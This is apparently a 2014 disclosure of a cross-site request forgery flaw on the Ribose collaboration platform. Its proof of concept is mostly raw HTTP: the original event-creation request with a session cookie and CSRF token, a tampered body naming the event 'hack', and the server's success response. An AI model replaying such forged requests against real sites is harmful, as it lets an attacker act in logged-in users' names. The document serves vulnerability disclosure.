Please find the attached description and the PoC for the vulnerability identified. Vulnerability: CSRF Attack on Ribose Online Social Collaboration Platform Date: 13/08/2014 Author: JoeV Vendor: www.ribose.com Tested on: Windows 7 Description: A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim. It was observed that the vulnerability allows an adversary to create/delete events by CSRF vulnerability. Original request: ----------------------- POST https://www.ribose.com/calendar/calendar/12736/event?jr= indigolocal_A2956C161 HTTP/1.1 Host: www.ribose.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-Token: LQQDnklKSZYX95knj6g2RsjVSlXToLO/uO1NenGZJD8d9v8KhXrC2j6V6VNc1XRf2FmMi2FT8uohG+sCFBuCVQ== X-CSRF-Param: authenticity_token X-Requested-With: XMLHttpRequest Referer: https://www.ribose.com/ Content-Length: 210 Cookie: _indigo_session=cc38aedab4a21e2cf8b54e816da668f6 DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache event%5Bcalendar_id%5D=12736&event%5Bname%5D=Test&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am Tampered Request: (using the same cookie) ---------------------------------------------------------------- event%5Bcalendar_id%5D=12736&event%5Bname%5D=hack&event%5Ball_day%5D=0&event%5Bdate_start%5D=13%2F08%2F2014&event%5Bdate_finish%5D=13%2F08%2F2014&event%5Btime_start%5D=10%3A00am&event%5Btime_finish%5D=11%3A00am Response: --------------- HTTP/1.1 201 Created Cache-Control: max-age=0, private, must-revalidate Content-Language: en Content-Type: application/json; charset=utf-8 Date: Wed, 13 Aug 2014 09:43:31 GMT ETag: "79ed58ab8395540092afba3b8fc37639" Server: Ribose Status: 201 Created Strict-Transport-Security: max-age=604800; includeSubdomains X-Frame-Options: SAMEORIGIN X-Powered-By: Ribose X-Rack-Cache: invalidate, pass X-Request-Id: c6a95f5b3453e806c8fe5aaebe6f99fd X-Runtime: 0.324388 X-UA-Compatible: IE=Edge,chrome=1 X-XSS-Protection: 1; mode=block Connection: keep-alive Content-Length: 354 {"events":{"all_day":false,"calendar_id":12736,"created_by":3395,"description":"","id":60768,"my_note":null,"name":"hack","old_head_id":null,"recurring_type":"not_repeat","where":"","utc_start":"2014-08-13T10:00:00Z","utc_finish":"2014-08-13T11:00:00Z","utc_old_start":null,"utc_old_finish":null,"can_save":true,"can_delete":true,"timestamp":1407923011}} -- Regards,